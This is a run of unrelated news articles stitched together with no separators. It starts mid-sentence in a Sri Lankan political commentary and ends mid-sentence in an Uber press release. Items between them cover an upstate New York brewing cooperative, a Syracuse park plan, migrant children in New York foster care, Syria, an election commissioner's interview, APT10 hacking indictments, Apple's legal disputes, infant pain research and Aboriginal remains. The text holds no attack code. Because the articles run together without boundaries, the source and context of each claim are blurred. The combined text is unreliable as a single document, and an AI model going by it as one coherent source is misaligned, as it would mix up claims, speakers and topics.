his support bank among the Sinhalese by highlighting the ethnic aspect of the nexus between the UNF and the TNA. In other words, he was rousing racism among the Sinhalese. However, it must be remembered that Rajapaksa solicited support for his recent Government from the TNA during a discussion he had with TNA leader R. Sampanthan. Earlier the leaders of the Sri Lanka Podujana Peramuna (SLPP) led by Rajapaksa have been rousing racism among the Sinhalese by saying that the UNP was being controlled by the TNA, citing an incident in Parliament. Both the main political parties who criticize Tamil and Muslim political parties for their ethnic politics demonise those minority parties when they attempt to engage in national politics, aligning with their rivals. This has been going on for about six decades. UNP demonized the Banda- Chelva Agreement in 1957 and the SLFP did the same when the Dudley- Chelvanayakam Pact was signed in 1966. A headline after the 2001 general election The JVP described J.R. Jayewardene Government as JR-Thondaman Government, despite Soumyamoorthy Thondaman hanging on to a Government that had 140 out of 168 seats in Parliament. In the 1990s and in 2000, the UNP had been accusing the Chandrika Kumaratunga Government that it was attempting to divide the country through various devolution schemes and the SLFP and the JVP were agog with an Ali-Koti Givisuma (Elephant-Tiger Pact) after 2000. It must be remembered that Tissa Attanayake who crossed over to Mahinda Rajapaksa camp in 2014 was in hot water after producing a purported clandestine agreement between the Oppositions common candidate Maithripala Sirisena and TNA. Now, again the Rajapaksa camp is harping on another secret agreement. Sheer shamelessness has been the common trait of these accusers of secret pacts.Despite the UNF having managed to form the Government again after 51 days, it is a highly volatile Government, firstly, due to its weak support base in Parliament. Secondly, now it has to work with an unpredictable and hostile President, who is constitutionally the head of the Cabinet, while openly teaming up with the Opposition armed with nationalistic slogans. The President also has started to toe the same nationalistic line. SLPP and the two main parties in the government (UNF and the SLFP) received an almost equal number of votes at the February local government elections. Given the fact that the SLFP has now teamed up with the SLPP, and with the possibility of economic issues further biting, the UNF would have to face a difficult situation at the next national level elections, despite the boost it gained through the recent Constitutional and political impasse. Therefore an early election would be better for the UNF as well. It could be the next big evolution in the growth of New York states beer industry: A one-stop shop where small brewers can find help with marketing, sales, distribution, packaging and sourcing ingredients. New York State Craft Beverage Services is a proposed $1 million project that hopes to begin operation in 2019. Its location has not yet been finalized, but could be in or near the Madison County village of Canastota. The company would provide warehouse space, bottling and canning lines, delivery vans, sales representatives and links to suppliers for brewers too new or too small to find or afford their own. The project is a partnership between two veterans of Madison Countys beer industry: The Menikheim family, which owns and operates Erie Canal Brewing in Canastota and Seneca St. Brewpub in Manlius, and Chad Meigs, who owns The Bineyard, a Cazenovia hop grower and processor. Meigs will serve as the companys chief operating officer, Menikheim said. The idea is to offer a boost to the surging number of new start-up breweries, many of which are tiny businesses with part-time owners and few financial resources. These small breweries -- they often make good beer and they want to concentrate on doing that, said Bob Menikheim. Where they run into trouble is finding the time, the space or the money to do the other things the need to grow their business, like distribution or packaging. We can help with that. Were basically saying, look we know from experience that these things can be hard to do by yourself, Menikheim said. But by coming together, collectively, we can make it work. The project this week was awarded a $178,000 grant from the states Regional Economic Development program. Its among $763 million in aid awarded across the state, and $88 million in Central New York. The grants come with some requirements for private investment and job creation. In his research into the idea, Menikheim said he found inspiration in the dairy cooperatives that have operated in Upstate New York for decades. In those co-ops, dairy farmers found help with storage, marketing and distribution. The New York Craft Beverage Services project could offer its services to distilleries and wineries as well as breweries, but will focus on the beer business first, Menikheim said. Thats where the Menikheims and Meigs have the most experience. New York state has seen a boom in the number of breweries in the last six years. The number has doubled since 2012 to more than 400. Many are quite small, and sell most of their beer directly to customers in their tasting rooms. But were at a point now where, to grow, you need to find customers -- get your beer into bars or stores, Menikheim said. In the Menikheims case, both Seneca St. and Erie Canal Brewing have tasting rooms, and are engaged in the tough business of reaching bigger markets. We know the difficulties from our own hard experience. In its application for the state grant, New York Craft Beverage Services included letters of support from several small Central New York breweries who might become early clients. They were the Copper Turret Brewery, operated by SUNY Morrisville; IBU Brewery in North Syracuse; Stout Beard Brewing in Syracuse; and Bullthistle Brewing in Sherburne. New York State Craft Beverage Services also plans to focus on aid to the states farm breweries, whose growth fueled the recent surge in the number of breweries. Licensed farm breweries pledge to use New York-grown ingredients in return for relaxed regulations and other benefits, such as the ability to open branch locations.. But the percentage of New York ingredients required to keep such licenses is scheduled to increase from 20 percent to 60 percent on Jan. 1. Thats where Meigs expertise in the states hop industry will help. Hell link up brewers with suppliers of hops, malt and other ingredients. While state experts say there is enough to meet the farm brewery requirements, it can take time for brewers to find sources, Menkheim said. Owner Chad Meigs explains the operation of the 5 1/2 ton Wolf hop harvester at The Bineyard in Cazenovia. "The aspect of NYS Craft Beverage Services, Inc which will allow brewers to obtain quality assured resources from a centralized source will not only alleviate a time burden taken on by brewers, but also allow that time to be dedicated to other aspects of operations of a successful manufacturing business, Copper Turrets head brewer Micheal Coons wrote in his letter of support for the project. In addition, it can provide a supportive link between the farmer and the brewer, and bring in raw materials from a wider variety of sources supporting the agricultural industry. At first, New York State Craft Beverage Services will likely concentrate on serving Central New York, but could expand the concept statewide, Menikheim said. The application for the state grant was endorsed by the village of Canastota and Madison County, and Menikheim said the goal is to locate nearby. The best location would have quick access to the state Thruway, he said. Erie Canal Brewing currently operates a tasting room at 135 S. Peterboro St. in Canastota and a brewery production facility at 135 James St., in an industrial area of the village, near ZEMs Ice Cream. It opened in 2013. The Menikheims plan to relocate both the brewhouse and the tasting room, along with a restaurant and visitors center, into a new space at 102 S. Peterboro St. next year. The future of the current brewhouse site is uncertain, he said. Don Cazentre writes about craft beer, wine, spirits and beverages for NYup.com, syracuse.com and The Post-Standard. Reach him at dcazentre@nyup.com, or follow him at NYup.com, on Twitter or Facebook. SYRACUSE, N.Y. -- City officials expect to have a new plaza with trees, benches, landscaping and gathering space at Perseverance Park next year. The latest plan should end a four-year saga to overhaul the large, central and under-utilized piece of city land in the heart of downtown. Officials said they scaled down an ambitious multi-million dollar redesign plan for the park hatched in 2015 to focus on something more realistic that could be completed in the short-term. Along with the new park, the city hopes to find a developer to put a new building on the northern half of the block. "The thought was, let's reevaluate the park project and focus on this entire northern half of the block as a potential development site," said City Planner Owen Kerney. "I would imagine with the location it's an attractive site." Perseverance Park is a three-quarter acre plot along South Salina Street between Washington and Fayette Streets. It fills the eastern third of the block. The western portion includes the Chase Bank building and a parking lot, which is owned by the city-controlled Syracuse Urban Renewal Agency. Under the new plan, the city will overhaul the southern half of the park, adjacent to the Chase Bank building. Kerney said the design will keep some of the "mature trees" already in the park and add triangular flower beds, picnic tables and benches. The northern portion of the park will remain as is until a developer is found for a building there. The city plans to merge that half of the park with the adjacent parking lot and bid it to developers as a single parcel. The current layout of the park was designed around 1992. It's a mostly concrete expanse with some brick pillars, few places to sit and a handful of clustered trees. Earlier this year, the Downtown Committee placed a lighted star in the middle of the park. It remains a popular public gathering space, despite its drab aesthetic. It's typically home to food carts, music and is often the site of protests or rallies downtown (former mayor Stephanie Miner hosted her "Trump Tuesdays" there). Officials have spent nearly four years talking about giving the park a makeover. Despite extensive time and money, little has changed. In 2014, local artist Jason Evans brightened the space with the blue waves of his "Flowscape" design. Much of that paint, however, has since faded. In 2015, the city hired a New York City designer and a London artist to redesign the park. The renowned duo flew to Syracuse to host public meetings and share their vision for the future of the downtown plot. The city spent $288,000 on the redesign and community input process. They hosted a contest to name a massive new piece of planned public art that would go there -- a doughnut-shaped sculpture. From there the plan languished. Backers were unable to raise the estimated $3 million it would cost to complete the park as designed, including the sculpture. Last year, officials floated a proposal to build a mixed-use building at the north end of the park. The sculpture was still part of the conversation then, but the city was short on money to do the project. Kerney said the new administration of Mayor Ben Walsh decided to reevaluate the plan. The northern piece of the block was identified in earnest as a potential development site and a more attainable, cheaper solution was sought for what would be left of the park. "The city didn't raise $5 million or even $2 million," Kerney said. "We have approximately $500,000." That money comes from SURA as well as some leftover Connective Corridor money from Syracuse University. With it, the city hired a local company, Locus Design Group, and landscape architect Maxian + Horst to draw up a new plan for the park. That plan is nearly complete, Kerney said. The city will seek a contractor to do the construction on the park early next year, with the hope of completing it by summer. "People really value this site and want to see it enhanced," Kerney said. "They want to be here, gather here, celebrate here." NEW YORK (AP) In under five years, a New York social-services organization called Cayuga Centers has gone from newcomer to one of the biggest names in the $1.5 billion-a-year business of housing immigrant children under government detention. Now one of the nations five largest providers, Cayuga was caring for nearly 900 migrant children as of Monday, 78 percent more than a year ago, according to confidential government data obtained by The Associated Press. The nonprofit has helped make New York second only to Texas in the number of such youngsters, with 1,653 spread around the Empire State, the data show. The number of detained migrant children nationwide swelled during President Donald Trump's administration, and many youngsters stay in big shelters or detention centers. Cayuga's young charges, though, go to foster homes around New York City. Kids spend their days in classes, counseling and activities at a Cayuga facility while staffers work to connect them with relatives or other sponsors, the nonprofit says. "Cayuga Centers believes these vulnerable children should be in homes with real families not behind fences," CEO Edward Myers Hayes told lawmakers and others at an October meeting. The text of his remarks was obtained by AP. Some migrant children's attorneys see Cayuga's foster care as better than a sprawling shelter. New York City Mayor Bill de Blasio, a Democrat, visited the center in June and said it appeared the children were "being treated very well." Still, accommodations may be tight: As of October, Cayuga had 187 foster homes for up to 900 immigrant children, according to Hayes' remarks. Attorneys say some kids mentioned sharing foster homes with a half-dozen or more young migrants. One mother complained about conditions, saying Cayuga didn't have special education for her learning-disabled 15-year-old son, and a case worker was dismissive when her 11-year-old son said another boy touched him inappropriately at his foster home. "My sons have suffered while in custody" for over three months, the mother said in a November filing in a lawsuit challenging federal policies that lengthened the time children spend in the system. Cayuga isn't a defendant in the suit, filed by the New York Civil Liberties Union and others, and hasn't responded to the allegations. The Associated Press is withholding the mother's name so as not to indirectly identify the son who said he was touched in appropriately. Auburn, New York-based Cayuga which became a focal point for protests this summer after accepting immigrant children separated from their families under a since-canceled Trump administration policy referred AP inquiries about its operation to the federal Health and Human Services Department. HHS spokesman Mark Weber said the migrant youth program nationwide has "incredibly dedicated people" tending to a lot of children in a difficult situation. "We are just working hard to make sure they are taken care of and placed responsibly," he said. Cayuga Centers, originally founded as an orphanage in 1852, started taking "unaccompanied" migrant children during a surge of arrivals in 2014. Soon, the program was Cayuga's biggest. Some 400 children passed through in its first full year, and 1,700 in its third, according to the nonprofit's tax returns. Migrant kids brought a torrent of federal money $121 million so far, government figures show into an organization that reported a less than $17-million-a-year budget before the program began. More than 6,000 youngsters have gone on to live with sponsors and await immigration proceedings, according to Cayuga. As of October, the average child stayed at Cayuga for about 60 days, more than twice as long as last year, according to Hayes' remarks. Many children may be on track for faster release after the administration on Tuesday backed off a five-month-old requirement that all people in a potential sponsor household be fingerprinted. Days at Cayuga's facility include academic and "life skills" classes, sports, therapy and outings to zoos and museums, and the kids head home to Spanish-speaking foster families, according to the organization. Lawyer Jose Xavier Orochena recalls one child he represented describing a particularly resonant trip this summer: to the Statue of Liberty. Other New York programs housing migrant children are considerably smaller than Cayuga's. The next-biggest, Lincoln Hall Boys Haven in suburban Lincolndale, was caring for 183 unaccompanied adolescent boys as of Monday, according to the data obtained by AP. Abbott House, which specializes in children with medical or psychological needs, had 51 unaccompanied immigrant boys and girls in its shelter in suburban Irvington and 15 in foster care, the data showed. Its young clients, who range in age from 3 to 17 , sleep one or two to a room and spend days doing educational programs, art, yoga, and taking trips to church and a gym, medical director Dr. Luis Rodriguez said. "All of them have suffered a lot of trauma," Rodriguez said, but "they're always motivated to learn something new." Another organization, JCCA, is looking after 19 immigrant children, the data show. All are in Bronx foster homes, attending local schools and afterschool programs, spokeswoman Anna Gold said. They face some restrictions: No hanging out at friends' houses, for instance. But the children are taken to Broadway shows, movies and the circus "so they can have a life as a kid," Gold said. Theyre kids with a lot of hope and a lot of determination, she said. None exhibit anything but a strong desire to find a safe place in the United States and build a future here. BEIRUT - The U.S.-backed Syrian Democratic Forces warned Thursday that the withdrawal of U.S. troops from Syria will allow a revival of the radical Islamic State group and jeopardize the final phase of the battle against the militants. In its first statement since President Donald Trump's unexpected decision to end the U.S. military presence in Syria was reported Wednesday, the SDF noted that the battle against the Islamic State group is not over yet. It said the gains made so far could be reversed if American forces leave. "The White House decision to withdraw from northern and eastern Syria will negatively affect the campaign against terrorism and will provide its supporters the political and military momentum to recover again," the statement said. "The final defeat has not yet been achieved. It is at a crucial and critical stage that requires concerted efforts by everyone, and greater support to all combat forces on the ground, not withdrawal." The U.S. military maintains a small force of around 2,000 troops in northeastern Syria, where they have been helping the Kurdish-led SDF battle the Islamic State. An offensive for the last sliver of territory controlled by the militants in southeastern Syria was launched in September, but the Islamic State has put up a tough fight, and the battle has progressed more slowly than expected. U.S. military officials estimate there are still around 2,000 Islamic State fighters holding out in the area, around the town of Hajin, and that there could be many thousands more sympathizers and supporters preparing to regroup in cells elsewhere. Bombings claimed by the Islamic State have been on the rise in recent months, including one Wednesday in Raqqa, the group's former de facto capital. That attack came as Trump tweeted that the militants had been defeated and that U.S. troops would be pulled out. Turkey and the Syrian government have both been threatening to use force to dislodge the SDF from northeastern Syria, and there is also a risk that a U.S. withdrawal could ignite a new regional conflict. Withdrawal under these circumstances will lead to instability and insecurity, creating a political and military vacuum, leaving its people between the claws of hostile forces and groups, the SDF statement said. It called Trumps decision a disappointment. Prof. Ratnajeevan H. Hoole, is a member of the Election Commission of Sri Lanka and was appointed by the President Maithripala Sirisena for a 5-year term in November 2015. However he successfully challenged President Sirisenas move to dissolve Parliament before the Supreme Court by filing a fundamental rights petition. Prof. Hoole, B.Sc. Eng. Hons Cey, M.Sc. with Mark of Distinction London, Ph.D. Carnegie Mellon, DoB, retired as Professor of Electrical and Computer Engineering from Michigan State University in the US. For his accomplishments in electromagnetic product synthesis the University of London awarded him with its higher doctorate, the D.Sc. (Eng.) degree in 1993, and the IEEE elevated him to the grade of Fellow in 1995 with the citation For contributions to computational methods for design optimisation of electrical devices. His paper on using his inverse problem methods from design for Nondestructive Evaluation is widely cited, as is his paper on neural networks for the same purpose. He has authored 6 engineering texts published by Elsevier, another by Elsevier now carried by Prentice Hall, Oxford, Cambridge (India), WIT Press and CRC Press. Prof. Hoole has been Vice Chancellor of the University of Jaffna in Sri Lanka, and as Member of the University Grants Commission, was responsible with six others for the regulation of the administration and academic standards of all 15 Sri Lankan universities and their admissions and funding. He has contributed widely to the learned literature on Tamil studies and been a regular columnist in newspapers. Prof. Hoole has been trained in Human Rights Research and Teaching at The Rene Cassin International Institute of Human Rights, Strasbourg, France, and has pioneered teaching human rights in the engineering curriculum. He received the coveted Gowri Gold Medal from Indias IETE in 2015 for his work on Professional Ethics. His latest book Ethics for Professionals: An Internationalist Human Rights Perspective was published in 2018 by Cognella Press, USA. Following the landmark seven-member Supreme Court judgment against the dissolution of the Parliament. The interviewed Prof. Hoole during which he spoke about the fundamental rights petition and other issues relating to countrys current situation. Excerpts: Q Professor, you were one of the petitioners who filed a case against the gazette issued by President Maithripala Sirisena dissolving Parliament. Was this case filed in your capacity as one of the three Election Commission Members or was it personal? What was the reaction of the commission on your move? It was done in both capacities, but primarily as a Member of the Commission. This was reflected in the Petition. When I told Chairman Mahinda Deshapriya, he simply shook my hand without saying anything. I interpreted it as a positive encouragement. My colleague Nalin Abeysekere has consistently maintained that we must never disagree in public even if we all do not agree. He therefore regards my action as unethical. I respect his position, but note that it does not leave room for wider debate on important issues and could lead to a tyranny of the majority. We moved from Election Commissioner to a Commission of three through the 19th Amendment so that we may have diversity of ideas. "The Supreme Court found that period is four and a half years at a minimum. To ask that Government to go away is not only a violation of the peoples franchise, but also of our Constitution" Q What made you to file this petition? The Gazette ordering elections was surely misbegotten and unlawful. Not even the President has the authority to order something so brazenly illegal. If I had gone along with conducting the election, it would have been a betrayal of my office and the responsibilities that come with it. And how can I agree to acting against my conscience in doing something I saw as so clearly illegal? The Presidents reading of the Constitution as confirmed by court was selective. Article 33(2) (c) said the President had the power to dissolve Parliament. Article 62 (2) said the normal period of a Parliament is 5 years, but it may be dissolved sooner. Article 70 said any dissolution by the President can only be after the first four and a half years or after a resolution by 2/3 of members. Instead of looking for a harmonious interpretation, the President looked only at the 33(2)(c) clause. It reminded me of Gods command to Abraham in Genesis 12.1: The LORD had said to Abram, Leave your native country, your relatives, and your fathers family, and go to the land that I will show you. Obviously leaving relatives did not mean leaving his wife. For, in another part of the Bible, Mark 10:7-9, Jesus says A man will leave his father and mother and be united to his wife, and the two will become one flesh. [] Therefore what God has joined together, let no man separate. A harmonious reading of the Bible meant Abraham taking his wife with him. However, a free-church minister I know left his wife in Negombo and moved upcountry where he took a new wife, justifying his adultery based on Abrahams call from God to leave his kinsfolk to serve Him elsewhere. Such was an obviously flawed, pathetic, self-serving interpretation offered by our President. It challenged the rule of law and challenged reason itself. I was duty-bound to challenge this scuttling of the Constitution. Many Tamils are disturbed over nothing having been done since August 2015 to solve our problems Any collaboration between the TNA and the UNP will be used by Tamil opponents of the TNA to say they are being played for suckers again The military occupation and colonisation of the little part of the country where we are safe during riots must stop Leaders lead and do not hide behind excuses Private lands under military occupation have no justification especially after we have eschewed military methods and have agreed to live in a united country Q Former President Mahinda Rajapaksa and the SLPP are of the view that going for a General Election and giving the people the option to decide on a government is more democratic. Mr. Rajapaksa even went to the point of expressing that the Supreme Courts decision prevented an election. What is your opinion? They are spinning to keep their followers energised. That is politics. However, the people should be wise enough not to be so easily manipulated. The right to vote-in a Government flows from our primary law, the Constitution. It specifies when elections are to be held and for what period the newly elected Governments mandate is. The Supreme Court found that period is four and a half years at a minimum. To ask that Government to go away is not only a violation of the peoples franchise, but also of our Constitution. The right to franchise is like a drivers licence. It gives one the right to drive a car, but that right is circumscribed by laws such as on speed limits, driving on the left, etc. Like the court noted about the AGs claim on the Presidents unfettered power, there is usually no such thing as an unfettered right either even the right to life has exceptions. "The Gazette ordering elections was surely misbegotten and unlawful. Not even the President has the authority to order something so brazenly illegal. If I had gone along with conducting the election, it would have been a betrayal of my office and the responsibilities that come with it" Q Now that the main Tamil political collective the TNA has supported Ranil Wickremesinghe to prove its confidence on the premiership in the parliament, parties backing Mahinda Rajapaksa are initiating a propagandist campaign that the UNP is in a deal with the TNA. How would this affect the TNAs popularity among the Tamil community? The TNA is not a party but an alliance. It faces many internal tensions. That aside, there is nothing wrong with making deals. Even Mahinda Rajapaksa offered a deal to settle problems of the Tamils, but refused to set it down in print. Many Tamils are disturbed that nothing has been done since August 2015 to solve their problems. If there is a deal to solve the problems of the Tamils and given that it is honoured, I would jump up in joy. The TNA and Sampanthan face criticism that many deals like the BC pact, the Dudley-Chelva Pact, the District Council arrangement, the Thirteenth Amendment, and the Good Governance Commitment were reneged upon. The difference with the Good Governance Commitment is that it was to all Sri Lankans rather than just to Tamils. That fact gives me hope that something can be salvaged before Parliament runs out. Any collaboration between the TNA and the UNP would be used by Tamil opponents of the TNA to say they are being played for suckers again. The UNP therefore owes it to all Sri Lankans to honour its deals. Dishonouring these commitments will politically decapitate Sampanthan leaving no one to negotiate with, and leading the way again to calls for separation and calls for a referendum like in Kosovo and East Timor. Q Do you think that the TNA engaging in national issues is a positive sign on the part of the Tamil people and other minority communities? Indeed so. As Sri Lankans we owe everything to Sri Lankas well-being and development. However, it does not stop there. The military occupation and colonisation of the little part of the country where we are safe during riots must stop. The merger of the North and East Provinces which can be simply done must be done to afford us a sense of security. The constitutional right to use Tamil in administration must not be denied. I have been to courts in the North several times and found the police prosecuting in Sinhalese in violation of the Constitution. The Government cannot so violate the constitution and demand that we sign an oath to uphold the Constitution. Tamils in court are forced to rely on lawyers for this reason and incur expenses. The police basically stop us on the A9, speak haughtily in Sinhalese and expect payment. The law, rather than protecting us, becomes a curse. "The TNA is not a party but an alliance. It faces many internal tensions. That aside, there is nothing wrong with making deals. Even Mahinda Rajapaksa offered a deal to settle problems of the Tamils, but refused to set it down in print" Q As Tamil politics seems to be divided under separate leaderships, its looks like the TNA would not be able to secure more seats at a future election. How would this situation could affect the Tamil community? Not well. However, you must excuse me from saying more as a member of the Election Commission. I do, however, usually comment as in some of my comments above, because voter education and strengthening the right to franchise are part of our Commissions mandate. Q You had told the media that the Tamil community is despondent in the manner in which the 2015 Government behaved and many of its promises given to the Tamil community werent fulfilled. You even said that it feels like the Tamils have been cheated again. What could have the Maithripala-Wickremesinghe Government done to avoid this situation? I have addressed this in part above. Even prior to undertaking a Constitutional revision, there is much that could have been done if there is true goodwill. For example, the full implementation of the Thirteenth Amendment giving us our language rights, and police and land powers. Doing this would have given Tamils much of the assurance we need that this is truly one united law-abiding country. A part of that sense of safety we seek is in the temporary merger of the North and East. The Supreme Court judgment that demerged the provinces points to how a temporary merger could be effected again through agreement between provinces. There are political prisoners without trial for periods well beyond what any court would have sentenced them to if they had been tried and found guilty. Keeping them locked up shows that the Government is heartless and communal. This needs urgent rectification. Private lands under military occupation have no justification especially after we have eschewed military methods and have agreed to live in a united country. The delay in repealing the PTA is inexcusable. The attempt to replace it with a law that replicates some of its same draconian features shows the inherent racism of a Government always up to trickery. War criminals and necrophilliacs are not national heroes. They must be tried to show that Tamil lives are as important as those of any other. "The merger of the North and East Provinces which can be simply done must be done to afford us a sense of security. The constitutional right to use Tamil in administration must not be denied. I have been to courts in the North several times and found the police prosecuting in Sinhalese" Q Dont you think that in a backdrop where certain Sinhala nationality based political parties are using the ethnic issue as a trump card to gather Sinhala majority votes, it is hard for any liberal thinking Sinhala Government to survive in the vote game? There is some truth in that, but it is not the complete truth. Even after the 13th Amendment the UNP has won elections. I expect leadership from our politicians. I think Buddhists want respect for Buddhism and do not insist that it is superior to other religions. We also want that same respect for our religions. Unless you assume that the Sinhalese are unreasonable communalists I dont I am confident that communal objections can be overcome with reason. Leaders lead and do not hide behind excuses. Q Once you unsuccessfully tried to promote education in the North by introducing an engineering faculty to the University of Jaffna. Dont you think now that the war is over Tamil academics and investors should visit the North and help education and development? I was chased off by threat of arrest. The then Government working through quislings made it difficult to do anything serious. They have put up an engineering faculty in Kilinochchi where standards are terrible. The university refused to employ me after I returned saying I am unqualified. They fear quality. Worse, they openly said that being a Christian I cannot be recruited. The University Grants Commission (UGC) even undermined my wifes appointment based on an illiterate UGC Circular by which after three years of processing her application, they said the advertisement was wrong so no recruitment may be made. The University Services Appeals Board declared that students have been deprived of two good academics. No one cares, not least the UGC. So yes, there is scope for using service industries, particularly university education, to develop Jaffna. However, the system has to change for good academics to return. The UGC must stop hiding behind autonomy to allow unqualified favourites to staff our universities and endorsing religious discrimination. What just happened? On Thursday, the Department of Justice issued indictments against two Chinese nationals for allegedly hacking numerous technology companies and government agencies in the US and abroad. According to a Department of Justice press release, Zhu Hua and Zhang Shilong are charged with conspiracy to commit wire fraud and aggravated identity theft. The two are suspected of successfully infiltrating and stealing intellectual property from around 45 tech firms and government agencies including some in the United States. The indictments come only a week after the US Navy announced that China had hacked several of its contractors over the last 18 months and the NSA warned of attacks against critical infrastructure. However, these charges are unrelated. The indictment alleges that the defendants were part of a group that hacked computers in at least a dozen countries and gave Chinas intelligence service access to sensitive business information, said Deputy Attorney General Rod Rosenstein. This is outright cheating and theft, and it gives China an unfair advantage at the expense of law-abiding businesses and countries that follow the international rules in return for the privilege of participating in the global economic system. The pair belonged to a hacking group called APT10 (Advanced Persistent Threat 10), which allegedly worked under orders from the Chinese governments Tianjin State Security Bureau. They had apparently been conducting intrusions into various systems around the world since 2006. The DoJ did not list specific companies or agencies, but targets included the theft of intellectual property from firms engaged in aviation, satellite and maritime technology, industrial factory automation, automotive supplies, laboratory instruments, banking and finance, telecommunications and consumer electronics, computer processor technology, information technology services, packaging, consulting, medical equipment, healthcare, biotechnology, pharmaceutical manufacturing, mining, and oil and gas exploration and production. As a nation, we cannot, and will not, allow such brazen thievery to go unchecked, said U.S. Attorney Geoffrey S. Berman for the Southern District of New York. However, the press release did not mention what actions would be taken or if the suspects were even in custody. China has long maintained that it does not conduct or encourage cyber warfare and that it will thoroughly investigate any credible allegations of attacks coming from within the state. We will have to see whether it considers these indictments credible. Apple isn't having an easy time these past few months. Not only have sales of some of the company's newest smartphones been down, but its long-running legal spats with Qualcomm have started to take a turn for the worst. As we reported last week, Qualcomm recently managed to convince a Chinese court to ban the sale of several of Apple's newest phones in the country; a ruling Apple has attempted to skirt with software updates (much to Qualcomm's chagrin). However, things are getting even worse for Apple. It seems that a Chinese phone sale ban (albeit a temporary one) isn't enough for Qualcomm. The chip maker is now coming after Apple's business in Germany. The country's District Court of Munich has ruled that some of Apple's devices -- the iPhone 7 and 8, specifically -- infringe on Qualcomm's intellectual property. As such, the court has banned the official sale of these devices nationwide. Apple is appealing the ban, but its worth nothing that even if it fails, this ruling will have a much smaller impact on Apple's bottom line than China's injunction. In Germany, Apple can still sell the iPhone 8 and 7 through third party retailers and phone carriers; it just can't sell the models directly. A new study indicates that instinctive stroking by parents can alleviate infant's pain as effectively as a topical anesthetic. The paper published on Dec. 17 in the journal Current Biology suggests that brushing the child lightly at a certain speed could provide immediate pain relief before necessary medical procedures. According to the study, tactile stimulation and touch can substitute drugs as successful ways for easing the pain in infants. Pain Relief With A Simple Touch The research conducted by Oxford University and Liverpool John Moores University examined the brain activity of 32 infants at the time of their blood tests. Half of the babies that were gently stroked using a soft brush showed 40 percent less pain activity in the brain. "Touch seems to have analgesic potential without the risk of side-effects," said Rebeccah Slater, a pediatric neuroscientist at the University of Oxford, reported BBC News. Researchers found that soft touch, especially skin-to-skin, has soothing qualities. Gentle stroking at a specific speed can activate C-fibers that not only feel good but also work wonders in reducing pain. Slater and her team wondered if it will have similar effects on premature babies, too. Tactile Speed Of Stroking The study revealed that when stroked at a speed of 3 centimeters per second, it can induce pain-relieving benefits. Prof Slater explained that the parents instinctively use this velocity to stroke their babies. "If we can better understand the neurobiological underpinnings of techniques like infant massage, we can improve the advice we give to parents on how to comfort their babies." When the babies are stroked at this speed, the action triggers C-tactile afferents, a class of sensory neurons in the skin, that have been known to reduce discomfort in adults. "There was evidence to suggest that C-tactile afferents can be activated in babies and that slow, gentle touch can evoke changes in brain activity in infants," said Prof Slater. The team of researchers examined babies' faces at the time of pricking. They found that while all infants winced when pricked, babies that were not stroked winced at least 50 percent longer. Based on the findings of the study, researchers suggest that tactile stimulation can be helpful in reducing pain in infants and can support caregivers in facilitating pain management for newborn babies. 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. They are coming home. Scientists say that ancient DNA can help bring the bones of Aboriginal Australians back to the land where they came from. Remains Of Aboriginal Australians Might Be Repatriated In the 1800s, the remains of thousands of Aboriginal Australians were stolen from their graves and sold to museums around the world. When descendants request for the remains to be brought back to Australia, they often have to fight for years to convince scientists of their connection. "Our old people's remains have been stolen from this country, and they're global, whether they be in London, Germany, Sweden, Switzerland - even in America," said Gudju Gudju Fourmile, an elder of the Yidniji and Gimuy Walubara people, in an interview with The New York Times. "Our old people's spirits won't rest until they're back on their own country." However, there might be a way to bring the remains back to the land where they came from. In a study published in the journal Science Advances, scientists reveal how analysis of DNA extracted from ancient remains recovered from several sites could solve the problem. Researchers from Griffith University worked together with Aboriginal elders and Queensland Museum to determine the origin of the Aboriginal Australian remains for the purpose of repatriation. The remains used have been either excavated from burial sites by community request or from documented repatriation care of the Queensland Museum. Joanne Wright, one of the scientists behind the study, explained that the team worked closely with the elders, particularly Thaynakwith Elder Tapij Wales from Weipa who wanted to know if the remains of an ancient woman was related to his people. It was the Aboriginal elder who asked if the DNA of the living community in Weipa can be compared with the DNA of the recovered remains. Sadly, he passed away before the study was completed. How Ancient DNA Could Return Stolen Remains The research team extracted DNA from the remains of 27 pre-European settlements from sites in Queensland and New South Wales. From analyzing mitochondrial DNA, they found the origins of about 62.1 percent of Aboriginal Australian remains that were part of the research. However, researchers could not find the origins of 37.9 percent of the remains either because there was a lack of contemporary match or because the mitochondrial haplotypes were geographically widespread. Nuclear DNA, meanwhile, yielded positive results. Analysis matched 100 percent of the ancient remains to their precise burial sites. "This is our 'positive control' experiment we know where these remains came from, so if we find the closest living relative is from the area where the bones came from, then we know that the method works properly," added David Lambert who is also involved in the research. The team said that the technique can be used to repatriate stolen remains, but whether to use it or not is a decision that can only be made by Aboriginal Australian communities. 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. Gionee files for bankruptcy after failing to pay creditors Last month, there were reports of Gionee, the Chinese smartphone maker, staring at bankruptcy after owing money to the tune of $2.45 billion to financial institutions, suppliers, and advertising and marketing agencies. Further, Gionees founder Liu Lirong reportedly lost $144 million (approximately CNY 1 billion) to gambling making financial matters worse for the company. It was speculated that if restructuring is not a viable option, then Gionee would have to go into liquidation. Now, latest reports confirm that the company has filed for bankruptcy and a court in Shenzhen has accepted the bankruptcy application. Despite the financial woes, Lirong is hopeful that the company should be able to make a comeback in three to five years. In fact, last week, the company hired a restructuring consultant to create a plan for the organization that will enable it to come out of this scenario. The bankruptcy news is certainly bad news for Gionee users. The news is most likely to affect Asia countries where Gionees presence was more predominant. Looking at the current situation, it seems that the loyalists will have to wait and hope Gionee is able to make a turnaround in the coming years, as per Lirongs words. Until then, Gionee users will have to find solace in other companies handsets. Prabhjeet Singh, Head of Cities, South Asia, Uber Uber, the worlds largest on-demand ride-sharing company, has announced a first-of-its-kind insurance program as well as the launch of a Global Safety Toolkit, for riders and driver partners in Colombo, the 11th largest city in South Asia for trips. Both commitments come as Uber completes 3 years in Sri Lanka, one of its fastest growing TukTuk markets in South Asia. Commenting on the launch, Prabhjeet Singh, Head of Cities, South Asia, Uber said, Were proud to celebrate three years in Sri Lanka and were humbled by the love weve received from our riders and driver partners. So far, in Colombo, weve already enabled micro-entrepreneurial opportunities for more than 25,000 driver partners. To reiterate our commitment to this market, we have launched our Safety Toolkit, with its inbuilt emergency button, and no cost insurance coverage for riders and drivers while using the Uber App. In the weeks and months ahead, well continue to engage with our driver partners and riders to work toward using Uber, which remains the most attractive opportunity for driver partners and the preferred choice for our riders. The safety toolkit is one a stop shop for technology enabled safety features for riders using the Uber App. It enhances safety features available to riders in Sri Lanka and improves both awareness and usage rates of some existing as well as newly introduced features. Riders can access the safety toolkit on the home screen of the app from the moment the driver accepts a trip through to its conclusion. Speaking about the 